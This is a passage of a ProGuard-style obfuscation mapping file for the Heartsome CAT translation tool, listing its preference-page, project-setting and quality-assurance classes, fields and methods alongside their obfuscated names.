+net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage$3 -> net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage$3: + net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage this$0 -> Lu + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage$4 -> net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage$4: + net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage this$0 -> Lu + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage$5 -> net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage$5: + net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage this$0 -> Lu + void doubleClick(org.eclipse.jface.viewers.DoubleClickEvent) -> doubleClick +net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage$LanguageCodeComparator -> net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage$LanguageCodeComparator: + java.util.LinkedList sortColumns -> Kd + boolean ascending -> ascending + net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage this$0 -> Lu + int getSortColumn() -> getSortColumn + void setSortColumn(int) -> setSortColumn + boolean isAscending() -> isAscending + void setAscending(boolean) -> setAscending + int compare(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> compare + int compareColumn(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object,int) -> a +net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage$LanguageCodeContentProvider -> net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage$LanguageCodeContentProvider: + net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage this$0 -> Lu + java.lang.Object[] getChildren(java.lang.Object) -> getChildren + java.lang.Object getParent(java.lang.Object) -> getParent + boolean hasChildren(java.lang.Object) -> hasChildren + java.lang.Object[] getElements(java.lang.Object) -> getElements + void dispose() -> dispose + void inputChanged(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> inputChanged +net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage$LanguageCodeLabelProvider -> net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage$LanguageCodeLabelProvider: + net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage this$0 -> Lu + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage$ResortColumn -> net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage$ResortColumn: + net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage$LanguageCodeComparator comparator -> Lv + org.eclipse.swt.widgets.TreeColumn treeColumn -> Kg + org.eclipse.jface.viewers.TreeViewer viewer -> JV + int column -> column + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageModel -> net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageModel: + java.util.Set languages -> Lw + java.util.Map languagesMap -> Lx + java.util.Set getLanguages() -> getLanguages + void setLanguages(java.util.Set) -> setLanguages + java.util.Map getLanguagesMap() -> getLanguagesMap + void setLanguagesMap(java.util.Map) -> setLanguagesMap + void removeLanguage(java.util.List) -> removeLanguage + void removeLanguage(net.heartsome.cat.common.locale.Language) -> removeLanguage +net.heartsome.cat.ts.ui.preferencepage.translation.ITranslationPreferenceConstants -> net.heartsome.cat.ts.ui.preferencepage.translation.ITranslationPreferenceConstants: + java.lang.String AUTO_ADAPT_SPACE_POSITION -> AUTO_ADAPT_SPACE_POSITION + java.lang.String AUTO_APPLY_TM_MATCH -> AUTO_APPLY_TM_MATCH + java.lang.String COPY_SOURCE_TO_TARGET -> COPY_SOURCE_TO_TARGET + java.lang.String SKIP_NOT_TRANSLATE_TEXT -> SKIP_NOT_TRANSLATE_TEXT + java.lang.String AUTO_QUICK_TRANSLATION -> AUTO_QUICK_TRANSLATION + java.lang.String PATH_OF_OPENOFFICE -> PATH_OF_OPENOFFICE + java.lang.String PORT_OF_OPENOFFICE -> PORT_OF_OPENOFFICE + java.lang.String ENABLED_OF_OPENOFFICE -> ENABLED_OF_OPENOFFICE +net.heartsome.cat.ts.ui.preferencepage.translation.TranslationInitializer -> net.heartsome.cat.ts.ui.preferencepage.translation.TranslationInitializer: + void initializeDefaultPreferences() -> initializeDefaultPreferences +net.heartsome.cat.ts.ui.preferencepage.translation.TranslationPreferencePage -> net.heartsome.cat.ts.ui.preferencepage.translation.TranslationPreferencePage: + java.lang.String ID -> ID + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + org.eclipse.swt.widgets.Button btnAutoAdaptSpacePosition -> Ly + org.eclipse.swt.widgets.Button btnAutoApplyTmMatch -> Lz + org.eclipse.swt.widgets.Button btnCopyToTarget -> LA + org.eclipse.swt.widgets.Button btnAutoQuickTranslation -> LB + org.eclipse.swt.widgets.Text txtPath -> LC + org.eclipse.swt.widgets.Button btnBrowse -> Hg + void init(org.eclipse.ui.IWorkbench) -> init + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + void performDefaults() -> performDefaults + boolean performOk() -> performOk + void initListener() -> initListener + void setValues(boolean) -> s + org.eclipse.swt.widgets.Button access$0(net.heartsome.cat.ts.ui.preferencepage.translation.TranslationPreferencePage) -> a + org.eclipse.swt.widgets.Text access$1(net.heartsome.cat.ts.ui.preferencepage.translation.TranslationPreferencePage) -> b +net.heartsome.cat.ts.ui.preferencepage.translation.TranslationPreferencePage$1 -> net.heartsome.cat.ts.ui.preferencepage.translation.TranslationPreferencePage$1: + net.heartsome.cat.ts.ui.preferencepage.translation.TranslationPreferencePage this$0 -> LD + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.projectsetting.ProjectSettingBaseInfoPage -> net.heartsome.cat.ts.ui.projectsetting.a: + org.eclipse.swt.widgets.Label projectNameLabel -> LI + org.eclipse.swt.widgets.Label sourceLangLabel -> LJ + org.eclipse.swt.widgets.Label targetlangLabel -> LK + net.heartsome.cat.common.bean.ProjectInfoBean projCfgBean -> LL + java.util.ArrayList lstText -> ahz + java.util.ArrayList lstCombo -> ahA + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + void initData() -> z + boolean performOk() -> performOk + java.util.ArrayList access$0(net.heartsome.cat.ts.ui.projectsetting.ProjectSettingBaseInfoPage) -> a +net.heartsome.cat.ts.ui.projectsetting.ProjectSettingBaseInfoPage$1 -> net.heartsome.cat.ts.ui.projectsetting.b: + net.heartsome.cat.ts.ui.projectsetting.ProjectSettingBaseInfoPage this$0 -> ahB + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog -> net.heartsome.cat.ts.ui.projectsetting.c: + org.eclipse.jface.preference.IPreferenceNode lastSuccessfulNode -> LO + org.eclipse.jface.preference.PreferenceManager preferenceManager -> LP + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createHelpControl(org.eclipse.swt.widgets.Composite) -> createHelpControl + void addListeners(org.eclipse.jface.viewers.TreeViewer) -> addListeners + void selectSavedItem() -> selectSavedItem + void update() -> update + org.eclipse.jface.preference.IPreferenceNode access$0(net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog) -> a + org.eclipse.jface.preference.IPreferencePage access$1(net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog) -> b + void access$2(net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog,java.lang.String) -> a + org.eclipse.jface.preference.IPreferenceNode access$3(net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog,org.eclipse.jface.viewers.ISelection) -> a + boolean access$4(net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog) -> c + boolean access$5(net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog,org.eclipse.jface.preference.IPreferenceNode) -> a + void access$6(net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog,org.eclipse.jface.preference.IPreferenceNode) -> b + org.eclipse.swt.widgets.Composite access$7(net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog) -> d +net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog$1 -> net.heartsome.cat.ts.ui.projectsetting.d: + net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog this$0 -> LQ + org.eclipse.swt.graphics.Cursor val$cursor -> oX + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog$2 -> net.heartsome.cat.ts.ui.projectsetting.e: + net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog this$0 -> LQ + java.lang.String val$helpUrl -> pb + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog$3 -> net.heartsome.cat.ts.ui.projectsetting.f: + net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog this$0 -> LQ + org.eclipse.jface.viewers.TreeViewer val$viewer -> qp + void handleError() -> ir + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged + void access$0(net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog$3) -> a + net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog access$1(net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog$3) -> b +net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog$3$1 -> net.heartsome.cat.ts.ui.projectsetting.g: + net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog$3 this$1 -> LR + java.lang.Object val$selection -> LS + void run() -> run +net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog$4 -> net.heartsome.cat.ts.ui.projectsetting.h: + net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog this$0 -> LQ + org.eclipse.jface.viewers.TreeViewer val$viewer -> qp + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog$5 -> net.heartsome.cat.ts.ui.projectsetting.i: + net.heartsome.cat.ts.ui.projectsetting.ProjectSettingDialog this$0 -> LQ + void helpRequested(org.eclipse.swt.events.HelpEvent) -> helpRequested + void openDialogHelp() -> is +net.heartsome.cat.ts.ui.projectsetting.ProjectSettingLanguagePage -> net.heartsome.cat.ts.ui.projectsetting.j: + java.util.List languages -> KJ + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer srcLangComboViewer -> LT + net.heartsome.cat.ts.ui.projectsetting.ProjectSettingLanguagePage$TargetLangSelect targetLangControl -> LU + net.heartsome.cat.common.bean.ProjectInfoBean projCfgBean -> LL + org.eclipse.jface.viewers.IElementComparer elementComparer -> LV + boolean performOk() -> performOk + boolean okToLeave() -> okToLeave + boolean validator() -> it + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + void initDataBindings() -> dM +net.heartsome.cat.ts.ui.projectsetting.ProjectSettingLanguagePage$1 -> net.heartsome.cat.ts.ui.projectsetting.k: + net.heartsome.cat.ts.ui.projectsetting.ProjectSettingLanguagePage this$0 -> LW + int hashCode(java.lang.Object) -> hashCode + boolean equals(java.lang.Object,java.lang.Object) -> equals +net.heartsome.cat.ts.ui.projectsetting.ProjectSettingLanguagePage$2 -> net.heartsome.cat.ts.ui.projectsetting.l: + net.heartsome.cat.ts.ui.projectsetting.ProjectSettingLanguagePage this$0 -> LW + int compare(net.heartsome.cat.common.locale.Language,net.heartsome.cat.common.locale.Language) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.ui.projectsetting.ProjectSettingLanguagePage$TargetLangSelect -> net.heartsome.cat.ts.ui.projectsetting.m: + org.eclipse.jface.viewers.TableViewer canSelectTableViewer -> LX + org.eclipse.jface.viewers.TableViewer hasSelTableViewer -> LY + java.lang.Object canSelectInput -> LZ + java.util.List hasSelectedList -> Ma + org.eclipse.swt.widgets.Button addBtn -> Cx + org.eclipse.swt.widgets.Button deleteBtn -> Cy + org.eclipse.swt.widgets.Button deleteAllBtn -> Mb + net.heartsome.cat.ts.ui.projectsetting.ProjectSettingLanguagePage this$0 -> LW + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent + void execSelected(org.eclipse.jface.viewers.IStructuredSelection) -> c + void removeSelected(org.eclipse.jface.viewers.IStructuredSelection) -> d +net.heartsome.cat.ts.ui.propertyTester.MultiSelectionPropertyTester -> net.heartsome.cat.ts.ui.propertyTester.a: + java.lang.String PROPERTY_NAMESPACE -> PROPERTY_NAMESPACE + java.lang.String PROPERTY_ENABLED -> PROPERTY_ENABLED + org.slf4j.Logger logger -> logger + boolean test(java.lang.Object,java.lang.String,java.lang.Object[],java.lang.Object) -> test +net.heartsome.cat.ts.ui.propertyTester.RTFEnabledPropertyTester -> net.heartsome.cat.ts.ui.propertyTester.b: + java.lang.String PROPERTY_NAMESPACE -> PROPERTY_NAMESPACE + java.lang.String PROPERTY_ENABLED -> PROPERTY_ENABLED + boolean test(java.lang.Object,java.lang.String,java.lang.Object[],java.lang.Object) -> test +net.heartsome.cat.ts.ui.propertyTester.SelectProjectOrSourcePropertyTester -> net.heartsome.cat.ts.ui.propertyTester.c: + java.lang.String PROPERTY_NAMESPACE -> PROPERTY_NAMESPACE + java.lang.String PROPERTY_ENABLED -> PROPERTY_ENABLED + boolean test(java.lang.Object,java.lang.String,java.lang.Object[],java.lang.Object) -> test +net.heartsome.cat.ts.ui.propertyTester.SelectProjectOrXLIFFPropertyTester -> net.heartsome.cat.ts.ui.propertyTester.d: + java.lang.String PROPERTY_NAMESPACE -> PROPERTY_NAMESPACE + java.lang.String PROPERTY_ENABLED -> PROPERTY_ENABLED + boolean test(java.lang.Object,java.lang.String,java.lang.Object[],java.lang.Object) -> test +net.heartsome.cat.ts.ui.qa.Activator -> net.heartsome.cat.ts.ui.qa.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.ui.qa.Activator plugin -> Mc + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.ui.qa.Activator getDefault() -> getDefault + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.ts.ui.qa.AutomaticQA -> net.heartsome.cat.ts.ui.qa.AutomaticQA: + int runTime -> Md + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + java.util.Map qaItemClassMap -> Me + net.heartsome.cat.ts.ui.qa.model.QAModel model -> Mf + org.eclipse.ui.IWorkbenchWindow window -> window + net.heartsome.cat.ts.core.file.XLFHandler handler -> Mg + java.util.Map filterMap -> Mh + org.eclipse.core.resources.IWorkspaceRoot root -> root + org.eclipse.core.resources.IFile iFile -> Mi + net.heartsome.cat.ts.core.qa.QAXmlHandler xmlHandler -> Mj + net.heartsome.cat.ts.ui.qa.model.QAResult qaResult -> qaResult + org.slf4j.Logger logger -> logger + boolean isCancel -> zP + void setInitData(net.heartsome.cat.ts.core.file.XLFHandler) -> setInitData + java.lang.String beginAutoQa(boolean,java.lang.String,boolean) -> beginAutoQa + void informQAEndFlag() -> informQAEndFlag + void autoQA(java.lang.String,java.lang.StringBuffer,boolean) -> autoQA + void initQAResult() -> initQAResult + void bringQAResultViewerToTop() -> bringQAResultViewerToTop + net.heartsome.cat.ts.ui.qa.QARealization getClassInstance(java.lang.String,net.heartsome.cat.ts.ui.qa.model.QAResult) -> getClassInstance + java.util.LinkedList getAutoQAItems() -> getAutoQAItems + java.util.Map getNotIncludePara() -> getNotIncludePara + void closeDB() -> closeDB +net.heartsome.cat.ts.ui.qa.NonTranslationQA -> net.heartsome.cat.ts.ui.qa.NonTranslationQA: + java.util.List srcNonTransData -> aig + java.util.List tgtNonTransData -> aih + java.lang.String srcLang -> srcLang + java.lang.String tgtLang -> SW + java.util.List nonTransElementsMap -> Ml + int level -> level + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + boolean hasError -> hasError + org.slf4j.Logger logger -> logger + void setParentQaResult(net.heartsome.cat.ts.ui.qa.model.QAResult) -> setParentQaResult + java.lang.String startQA(net.heartsome.cat.ts.ui.qa.model.QAModel,org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.resources.IFile,net.heartsome.cat.ts.core.qa.QAXmlHandler,net.heartsome.cat.ts.core.qa.QATUDataBean) -> startQA + void matchNontrans(java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> matchNontrans + void matchIP(java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> matchIP + void matchWebAddress(java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> matchWebAddress + void matchOthers(java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> matchOthers + void main(java.lang.String[]) -> main +net.heartsome.cat.ts.ui.qa.NumberConsistenceQA -> net.heartsome.cat.ts.ui.qa.NumberConsistenceQA: + int level -> level + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + boolean hasError -> hasError + void setParentQaResult(net.heartsome.cat.ts.ui.qa.model.QAResult) -> setParentQaResult + java.lang.String startQA(net.heartsome.cat.ts.ui.qa.model.QAModel,org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.resources.IFile,net.heartsome.cat.ts.core.qa.QAXmlHandler,net.heartsome.cat.ts.core.qa.QATUDataBean) -> startQA + java.util.Map compareNumber(java.util.List,java.util.List) -> compareNumber +net.heartsome.cat.ts.ui.qa.ParaCompletenessQA -> net.heartsome.cat.ts.ui.qa.ParaCompletenessQA: + int level -> level + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + boolean hasError -> hasError + void setParentQaResult(net.heartsome.cat.ts.ui.qa.model.QAResult) -> setParentQaResult + java.lang.String startQA(net.heartsome.cat.ts.ui.qa.model.QAModel,org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.resources.IFile,net.heartsome.cat.ts.core.qa.QAXmlHandler,net.heartsome.cat.ts.core.qa.QATUDataBean) -> startQA +net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA -> net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA: + boolean srcIgnoreCase -> Mn + boolean srcIgnoreTag -> Mo + boolean tgtIgnoreCase -> Mp + boolean tgtIgnoreTag -> Mq + boolean checkSameSource -> Mr + boolean checkSameTarget -> Ms + java.util.Map filterMap -> Mh + java.lang.String curXlfPath -> Mt + java.util.Map dataMap -> Mu + java.util.List srcRowIdList -> Mv + java.util.List tgtRowIdList -> Mw + boolean isMultiInit -> Mx + int level -> level + void setParentQaResult(net.heartsome.cat.ts.ui.qa.model.QAResult) -> setParentQaResult + java.lang.String startQA(net.heartsome.cat.ts.ui.qa.model.QAModel,org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.resources.IFile,net.heartsome.cat.ts.core.qa.QAXmlHandler,net.heartsome.cat.ts.core.qa.QATUDataBean) -> startQA + void init(net.heartsome.cat.ts.ui.qa.model.QAModel,java.lang.String,net.heartsome.cat.ts.core.qa.QAXmlHandler) -> init + void analysisSameSrc() -> iu + void analysisSameTgt() -> iv + void compareNext(java.lang.String) -> fL + boolean checkEquals(java.lang.String,java.lang.String,boolean) -> checkEquals + boolean access$0(net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA) -> a + boolean access$1(net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA) -> b + java.util.Map access$2(net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA) -> c + boolean access$3(net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA) -> d + boolean access$4(net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA) -> e +net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA$1 -> net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA$1: + net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA this$0 -> My + int compare(java.util.Map$Entry,java.util.Map$Entry) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA$2 -> net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA$2: + net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA this$0 -> My + int compare(java.lang.String,java.lang.String) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA$3 -> net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA$3: + net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA this$0 -> My + int compare(java.util.Map$Entry,java.util.Map$Entry) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA$4 -> net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA$4: + net.heartsome.cat.ts.ui.qa.ParagraphConsistenceQA this$0 -> My + int compare(java.lang.String,java.lang.String) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.ui.qa.QARealization -> net.heartsome.cat.ts.ui.qa.QARealization: + net.heartsome.cat.ts.ui.qa.model.QAResult qaResult -> qaResult + org.slf4j.Logger logger -> logger + int start(net.heartsome.cat.ts.ui.qa.model.QAModel,org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.resources.IFile,net.heartsome.cat.ts.core.qa.QAXmlHandler,net.heartsome.cat.ts.ui.qa.model.QAResult) -> start + void setQaResult(net.heartsome.cat.ts.ui.qa.model.QAResult) -> setQaResult + void setParentQaResult(net.heartsome.cat.ts.ui.qa.model.QAResult) -> setParentQaResult + void printQAResult(net.heartsome.cat.ts.ui.qa.model.QAResultBean) -> printQAResult + void closeDB() -> closeDB + java.lang.String startQA(net.heartsome.cat.ts.ui.qa.model.QAModel,org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.resources.IFile,net.heartsome.cat.ts.core.qa.QAXmlHandler,net.heartsome.cat.ts.core.qa.QATUDataBean) -> startQA +net.heartsome.cat.ts.ui.qa.QualityAssurance -> net.heartsome.cat.ts.ui.qa.QualityAssurance: + net.heartsome.cat.ts.ui.qa.model.QAModel model -> Mf + org.eclipse.swt.widgets.Shell shell -> shell + java.util.Map qaItemClassMap -> Me + net.heartsome.cat.ts.core.qa.QAXmlHandler handler -> MC + int continuResponse -> MD + int workInterval -> mO + net.heartsome.cat.ts.ui.qa.model.QAResult qaResult -> qaResult + java.lang.String _INFO -> MF + java.lang.String _ERROR -> MG + java.lang.String Hyphen -> MH + org.slf4j.Logger logger -> logger + void init() -> init + void beginQA(net.heartsome.cat.ts.ui.qa.model.QAResult) -> beginQA + void beginMultiFileQA(net.heartsome.cat.ts.ui.qa.model.QAResult) -> beginMultiFileQA + net.heartsome.cat.ts.ui.qa.QARealization getClassInstance(java.lang.String) -> getClassInstance + boolean openFile(org.eclipse.core.runtime.IProgressMonitor) -> openFile + boolean monitorWork(org.eclipse.core.runtime.IProgressMonitor,int,boolean) -> monitorWork + void closeDB() -> closeDB + int initWorkInterval() -> iw + net.heartsome.cat.ts.ui.qa.model.QAModel access$0(net.heartsome.cat.ts.ui.qa.QualityAssurance) -> a + org.eclipse.swt.widgets.Shell access$1(net.heartsome.cat.ts.ui.qa.QualityAssurance) -> b + java.lang.String access$2() -> ix + int access$3(net.heartsome.cat.ts.ui.qa.QualityAssurance) -> c + net.heartsome.cat.ts.core.qa.QAXmlHandler access$4(net.heartsome.cat.ts.ui.qa.QualityAssurance) -> d + int access$5() -> pn + java.lang.String access$6() -> po + void access$7(net.heartsome.cat.ts.ui.qa.QualityAssurance,int) -> a +net.heartsome.cat.ts.ui.qa.QualityAssurance$1 -> net.heartsome.cat.ts.ui.qa.QualityAssurance$1: + net.heartsome.cat.ts.ui.qa.QualityAssurance this$0 -> MI + net.heartsome.cat.ts.ui.qa.model.QAResult val$qaResult -> Oi + org.eclipse.core.runtime.IStatus run(org.eclipse.core.runtime.IProgressMonitor) -> run + net.heartsome.cat.ts.ui.qa.QualityAssurance access$0(net.heartsome.cat.ts.ui.qa.QualityAssurance$1) -> a +net.heartsome.cat.ts.ui.qa.QualityAssurance$1$1 -> net.heartsome.cat.ts.ui.qa.QualityAssurance$1$1: + net.heartsome.cat.ts.ui.qa.QualityAssurance$1 this$1 -> MJ + java.lang.String val$qaItemId -> MK + void run() -> run +net.heartsome.cat.ts.ui.qa.QualityAssurance$2 -> net.heartsome.cat.ts.ui.qa.QualityAssurance$2: + net.heartsome.cat.ts.ui.qa.QualityAssurance this$0 -> MI + void running(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> running + void done(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> done +net.heartsome.cat.ts.ui.qa.QualityAssurance$3 -> net.heartsome.cat.ts.ui.qa.QualityAssurance$3: + net.heartsome.cat.ts.ui.qa.QualityAssurance this$0 -> MI + net.heartsome.cat.ts.ui.qa.model.QAResult val$qaResult -> Oi + org.eclipse.core.runtime.IStatus run(org.eclipse.core.runtime.IProgressMonitor) -> run + net.heartsome.cat.ts.ui.qa.QualityAssurance access$0(net.heartsome.cat.ts.ui.qa.QualityAssurance$3) -> a +net.heartsome.cat.ts.ui.qa.QualityAssurance$3$1 -> net.heartsome.cat.ts.ui.qa.QualityAssurance$3$1: + net.heartsome.cat.ts.ui.qa.QualityAssurance$3 this$1 -> aby + java.lang.String val$qaItemId -> MK + void run() -> run +net.heartsome.cat.ts.ui.qa.QualityAssurance$4 -> net.heartsome.cat.ts.ui.qa.QualityAssurance$4: + net.heartsome.cat.ts.ui.qa.QualityAssurance this$0 -> MI + void running(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> running + void done(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> done +net.heartsome.cat.ts.ui.qa.QualityAssurance$5 -> net.heartsome.cat.ts.ui.qa.QualityAssurance$5: + net.heartsome.cat.ts.ui.qa.QualityAssurance this$0 -> MI + org.eclipse.core.resources.IFile val$iFile -> zW + void run() -> run +net.heartsome.cat.ts.ui.qa.SpaceOfParaCheckQA -> net.heartsome.cat.ts.ui.qa.SpaceOfParaCheckQA: + int level -> level + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + boolean hasError -> hasError + void setParentQaResult(net.heartsome.cat.ts.ui.qa.model.QAResult) -> setParentQaResult + java.lang.String startQA(net.heartsome.cat.ts.ui.qa.model.QAModel,org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.resources.IFile,net.heartsome.cat.ts.core.qa.QAXmlHandler,net.heartsome.cat.ts.core.qa.QATUDataBean) -> startQA + int getSpaceNumber(java.lang.String,boolean) -> getSpaceNumber +net.heartsome.cat.ts.ui.qa.SpellQA -> net.heartsome.cat.ts.ui.qa.SpellQA: + net.heartsome.cat.ts.ui.qa.spell.inter.HSSpellChecker spelling -> NF + java.util.List nonSpellTarLangList -> MO + int level -> level + org.eclipse.jface.preference.IPreferenceStore qaPreferenceStore -> MP + boolean hasError -> hasError + boolean isContinue -> MR + java.util.StringTokenizer stringToken -> Or + boolean isHunspell -> Pt + net.heartsome.cat.ts.ui.qa.nonTransElement.NonTransElementOperate nontransOper -> Pu + boolean ignoreNontrans -> Pv + boolean ignoreDigitalFirst -> Pw + boolean ignoreUpperCaseFirst -> Px + boolean ignoreAllUpperCase -> akr + org.slf4j.Logger logger -> logger + void setParentQaResult(net.heartsome.cat.ts.ui.qa.model.QAResult) -> setParentQaResult + java.lang.String startQA(net.heartsome.cat.ts.ui.qa.model.QAModel,org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.resources.IFile,net.heartsome.cat.ts.core.qa.QAXmlHandler,net.heartsome.cat.ts.core.qa.QATUDataBean) -> startQA + void getSingleWords(java.lang.String,java.util.List) -> d + boolean checkDigitalFirst(java.lang.String) -> dW + boolean checkUpperCaseFirst(java.lang.String) -> eh + boolean checkAllUpperCase(java.lang.String) -> fi + void access$0(net.heartsome.cat.ts.ui.qa.SpellQA,boolean) -> a +net.heartsome.cat.ts.ui.qa.SpellQA$1 -> net.heartsome.cat.ts.ui.qa.SpellQA$1: + net.heartsome.cat.ts.ui.qa.SpellQA this$0 -> MT + java.lang.String val$tgtLang -> SQ + net.heartsome.cat.ts.ui.qa.model.QAModel val$model -> MV + void run() -> run +net.heartsome.cat.ts.ui.qa.TagConsistenceQA -> net.heartsome.cat.ts.ui.qa.TagConsistenceQA: + int level -> level + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + boolean hasError -> hasError + void setParentQaResult(net.heartsome.cat.ts.ui.qa.model.QAResult) -> setParentQaResult + java.lang.String startQA(net.heartsome.cat.ts.ui.qa.model.QAModel,org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.resources.IFile,net.heartsome.cat.ts.core.qa.QAXmlHandler,net.heartsome.cat.ts.core.qa.QATUDataBean) -> startQA +net.heartsome.cat.ts.ui.qa.TermConsistenceQA -> net.heartsome.cat.ts.ui.qa.TermConsistenceQA: + net.heartsome.cat.ts.tb.match.TbMatcher matcher -> MW + int level -> level + 